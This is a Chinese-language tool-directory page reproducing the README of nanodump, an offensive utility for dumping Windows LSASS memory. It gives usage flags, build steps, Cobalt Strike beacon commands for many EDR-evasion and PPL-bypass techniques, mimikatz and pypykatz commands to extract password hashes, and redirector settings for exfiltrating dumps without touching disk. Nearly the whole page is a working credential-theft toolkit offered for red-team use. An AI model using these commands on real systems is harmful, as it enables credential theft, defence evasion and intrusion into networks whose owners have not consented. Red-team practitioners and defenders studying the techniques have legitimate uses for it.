Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
nanodump — LSASS 转储的瑞士军刀 | Kitploit
工具/GitHubGitHub/fortra/nanodump
权限提升内存取证漏洞利用后渗透利用渗透测试红队Payload 开发
GitHubfortra/nanodump

nanodump

LSASS 转储的瑞士军刀

查看仓库
2.1k272161年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

NanoDump

一个灵活的工具,用于创建 LSASS 进程的 minidump。

截图

目录

  1. 使用方法
  2. 功能特性
  3. 技术组合
  4. 示例
  5. HTTPS 重定向器

1. 使用方法

root@kitploit:~
usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            dump 文件的文件名
    --valid, -v
            创建带有效签名的 dump
Obtain an LSASS handle via:
    --duplicate, -d
            复制一个已有的高权限 LSASS 句柄
    --duplicate-elevate, -de
            复制一个已有的低权限 LSASS 句柄,然后提升其权限
    --seclogon-leak-local, -sll
            通过 seclogon 将 LSASS 句柄泄露到 nanodump 中
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            通过 seclogon 将 LSASS 句柄泄露到另一个进程中,然后复制它
    --seclogon-duplicate, -sd
            让 seclogon 打开一个 LSASS 句柄并复制它
    --spoof-callstack, -sc
            使用伪造的调用栈打开 LSASS 句柄
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            通过 SilentProcessExit 强制 WerFault.exe 转储 LSASS
    --shtinkering, -sk
            通过 Shtinkering 强制 WerFault.exe 转储 LSASS
Avoid reading LSASS directly:
    --fork, -f
            转储前 fork 目标进程
    --snapshot, -s
            转储前创建目标进程的快照
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            以低权限打开 LSASS 句柄,然后复制它以获得更高权限
Miscellaneous:
    --getpid
            打印 LSASS 的 PID 并退出
    --chunk-size
            用于在不接触磁盘的情况下泄露 dump 的块大小(以 KiB 为单位,默认 900)
Help:
    --help, -h
            打印此帮助信息并退出

克隆

root@kitploit:~
git clone https://github.com/fortra/nanodump.git

编译(可选)

在 Linux 上使用 MinGW

root@kitploit:~
make -f Makefile.mingw

在 Windows 上使用 MSVC(不支持 BOF)

root@kitploit:~
nmake -f Makefile.msvc

导入(仅限 CobaltStrike)

在 Cobalt Strike 中导入 NanoDump.cna 脚本。

运行

在 Beacon 控制台中运行 nanodump 命令,或直接运行 nanodump.x64.exe 二进制文件。

恢复签名

如果你没有指定 --valid 标志,则需要恢复无效的签名:

root@kitploit:~
scripts/restore_signature <dumpfile>

获取密码哈希

mimikatz:
要获取密码,只需运行:

root@kitploit:~
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
如果你更喜欢在 Linux 上操作,可以使用 mimikatz 的 Python3 移植版本 pypykatz:

root@kitploit:~
python3 -m pypykatz lsa minidump <dumpfie>

2. 功能特性

进程 fork

为了避免以 PROCESS_VM_READ 权限打开 LSASS 句柄,你可以使用 --fork 参数。
这将使 nanodump 以 PROCESS_CREATE_PROCESS 权限创建 LSASS 句柄,然后创建一个进程的“克隆”。这个新进程随后将被转储。虽然这会导致进程的创建和删除,但消除了直接读取 LSASS 的需求。

快照

与 --fork 选项类似,你可以使用 --snapshot 创建 LSASS 进程的快照。
这将使 nanodump 以 PROCESS_CREATE_PROCESS 权限创建 LSASS 句柄,然后使用 PssNtCaptureSnapshot 创建进程的快照。这个新进程随后将被转储。快照将在完成后自动释放。

句柄复制

由于打开 LSASS 句柄可能被检测到,nanodump 可以改为搜索 LSASS 的现有句柄。
如果找到,它将复制该句柄并使用它来创建 minidump。
请注意,不保证一定能找到这样的句柄。

提升句柄

你可以以 PROCESS_QUERY_LIMITED_INFORMATION 权限获取 LSASS 句柄(这很可能被列入白名单),然后通过复制该句柄来提升其权限。

Seclogon 本地句柄泄露

为了避免打开 LSASS 句柄,你可以滥用 seclogon 服务,通过调用 CreateProcessWithLogonW 将 LSASS 句柄泄露到 nanodump 二进制文件中。
要启用此功能,请使用 --seclogon-leak-local 参数。
请注意,当从 Cobalt Strike 使用时,需要将未签名的 nanodump 二进制文件写入磁盘才能使用此功能。

Seclogon 远程句柄泄露

该技术与前一种非常相似,但并非将句柄泄露到 nanodump 中,而是泄露到另一个二进制文件中,然后复制该句柄以便 nanodump 能够使用它。
使用 --seclogon-leak-remote 标志来访问此功能。

Seclogon 句柄复制

你可以诱使 seclogon 进程打开一个 LSASS 句柄,并在其关闭之前通过文件锁赢得竞争条件来复制它。
使用 --seclogon-duplicate 标志来访问此功能。

将 nanodump 作为 SSP 加载

你可以将 nanodump 作为 SSP 加载到 LSASS 中,以避免打开句柄。
当 DLL 被加载到 LSASS 后,参数将通过命名管道传递,一旦转储完成,DllMain 将返回 FALSE,使 LSASS 卸载 nanodump DLL。
你可以使用编译器标志 PASS_PARAMS_VIA_NAMED_PIPES=0 将参数硬编码到 DLL 中,从而完全避免使用命名管道。

上传并加载 nanodump DLL

默认情况下,一个未签名的 nanodump DLL 将被上传到 Temp 文件夹,并会在完成后自动删除。

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

如果你想加载一个已存在的 DLL,可以运行:

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

PPL 转储漏洞利用

如果 LSASS 以受保护进程轻量级(PPL)模式运行,你可以尝试使用由 Project Zero 发现的用户态漏洞来绕过它。如果成功,dump 将被写入磁盘。

注意:此漏洞已在 2022 年 7 月更新包(Windows 10 21H2 Build 19044.1826)中修复

要访问此功能,请使用 nanodump_ppl_dump 命令:

root@kitploit:~
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

PPL Medic 漏洞利用

Nanodump 还实现了 PPLMedic 漏洞利用,该漏洞适用于安装了 2022 年 7 月更新包的系统。 参数将通过命名管道传递给 nanodump DLL。你可以使用编译器标志 PASS_PARAMS_VIA_NAMED_PIPES=0 将参数硬编码到 DLL 中,从而完全避免使用命名管道。

要访问此功能,请使用 nanodump_ppl_medic 命令:

root@kitploit:~
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

你可以强制 WerFault.exe 进程创建 LSASS 的完整内存转储。请注意,这需要能够写入注册表。

由于 dump 不是由 nanodump 创建的,因此它将始终具有有效签名。

Silent Process Exit

要利用 Silent Process Exit 技术,请使用 --silent-process-exit 参数并指定 dump 的创建路径。

root@kitploit:~
beacon> nanodump --silent-process-exit C:\Windows\Temp\

还会创建一个 nanodump 进程的转储,类似于这样:

root@kitploit:~
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp

Shtinkering

你也可以使用 Shtinkering 技术,这要求 nanodump 以 SYSTEM 身份运行:

root@kitploit:~
beacon> nanodump --shtinkering

dump 通常会在 C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps 下创建。

伪造调用栈

你可以使用伪造的调用栈打开 LSASS 句柄,使函数调用看起来更正常(尤其是在作为 BOF 运行时)。
要访问此功能,请使用参数 --spoof-callstack。

3. 技术组合

你可以组合多种技术来定制 nanodump 的操作方式。
下表说明了哪些标志可以一起使用。

4. 示例

通过创建 fork 间接读取 LSASS,并将 dump 以无效签名写入磁盘:

root@kitploit:~
beacon> nanodump --fork --write C:\lsass.dmp

使用 seclogon 远程泄露,将 LSASS 句柄泄露到 notepad 进程中,复制该句柄以获取 LSASS 访问权限,然后通过创建 fork 间接读取,并以有效签名下载 dump:

root@kitploit:~
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid

通过 seclogon 本地泄露获取句柄,使用 fork 间接读取 LSASS,并以有效签名将 dump 写入磁盘(将上传 nanodump 二进制文件!):

root@kitploit:~
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp

以无效签名下载 dump(默认):

root@kitploit:~
beacon> nanodump

复制现有句柄,并以无效签名将 dump 写入磁盘:

root@kitploit:~
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx

获取 LSASS 的 PID:

root@kitploit:~
beacon> nanodump --getpid

将 nanodump 作为 SSP 加载到 LSASS 中(将上传 nanodump 二进制文件!):

root@kitploit:~
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp

使用 PPLDump 漏洞绕过 PPL 转储 LSASS,复制 csrss.exe 拥有的 LSASS 句柄:

root@kitploit:~
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp

使用 PPLMedic 漏洞绕过 PPL 转储 LSASS,打开一个低权限 LSASS 句柄然后提升它:

root@kitploit:~
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp

诱使 seclogon 打开一个 LSASS 句柄并复制它,然后以无效签名下载 dump:

root@kitploit:~
beacon> nanodump --seclogon-duplicate

让 WerFault.exe 进程在 Temp 文件夹中创建完整内存转储:

root@kitploit:~
beacon> nanodump --werfault C:\Windows\Temp\

使用伪造的调用栈打开 LSASS 句柄,并以无效签名下载 minidump:

root@kitploit:~
beacon> nanodump --spoof-callstack

使用 Shtinkering 技术:

root@kitploit:~
beacon> nanodump --shtinkering

通过 seclogon 本地泄露获取句柄,并使用 Shtinkering 技术创建 dump:

root@kitploit:~
beacon> nanodump --seclogon-leak-local --shtinkering

以低权限获取句柄,并使用 elevate handle 提升它:

root@kitploit:~
beacon> nanodump --elevate-handle

使用伪造的调用栈以低权限获取句柄,并使用 elevate handle 提升它:

root@kitploit:~
beacon> nanodump --elevate-handle --spoof-callstack

复制现有的低权限句柄,并使用 elevate handle 提升它:

root@kitploit:~
beacon> nanodump --duplicate-elevate

5. HTTPS 重定向器

如果你使用 HTTPS 重定向器(你应该使用),在无文件下载 dump 时,可能会因为泄露 dump 的请求大小而遇到问题。
在你的 web 服务器上增加请求的最大大小,以允许 nanodump 下载 dump。

NGINX

root@kitploit:~
location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

root@kitploit:~
<Directory "...">
    LimitRequestBody  52428800
</Directory>

致谢

  • skelsec 编写了 minidump,这对学习 minidump 文件格式至关重要。
  • freefirex 来自 Trustedsec 的 CS-Situational-Awareness-BOF,提供了许多 BOF 的酷炫技巧。
  • Jackson_T 提供了 SysWhispers2
  • BillDemirkapi 提供了 Process Forking
  • Antonio Cocomazzi 提供了 Abusing leaked handles to dump LSASS memory 和 Racing for LSASS dumps
  • xpn 提供了 Exploring Mimikatz - Part 2 - SSP
  • Matteo Malvica 提供了 Evading WinDefender ATP credential-theft: a hit after a hit-and-miss start
  • James Forshaw 提供了 Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege
  • itm4n 提供了原始的 PPL 用户态漏洞利用实现: PPLDump 和 PPLMedic。
  • Asaf Gilboa 提供了 Lsass Memory Dumps are Stealthier than Ever Before - Part 2 以及 Shtinkering 技术。
  • 提供了
下载工具
--write--valid--duplicate--elevate-handle--duplicate-elevate--seclogon-leak-local--seclogon-leak-remote--seclogon-duplicate--spoof-callstack--silent-process-exit--shtinkering--fork--snapshotSSPPPL_DUMPPPL_MEDIC
--write✓✓✓✓✓✓✓✓✓✓✓✓✓
--valid✓✓✓✓✓✓✓✓✓✓✓✓✓
--duplicate✓✓✓✓✓✓✓
--elevate-handle✓✓✓✓✓✓✓✓
--duplicate-elevate✓✓✓✓✓✓
--seclogon-leak-local✓✓✓✓✓✓
--seclogon-leak-remote✓✓✓✓✓✓
--seclogon-duplicate✓✓✓✓✓✓
--spoof-callstack✓✓✓✓✓✓✓
--silent-process-exit✓
--shtinkering✓✓✓✓✓✓✓✓
--fork✓✓✓✓✓✓✓✓✓✓
--snapshot✓✓✓✓✓✓✓✓✓✓
SSP✓
PPL_DUMP✓✓✓✓
PPL_MEDIC✓✓✓✓
William Burgess
Spoofing Call Stacks To Confuse EDRs
  • Sebastian Feldmann 和 Fabian 提供了 elevate handle 技术,详见 Morph Your Malware!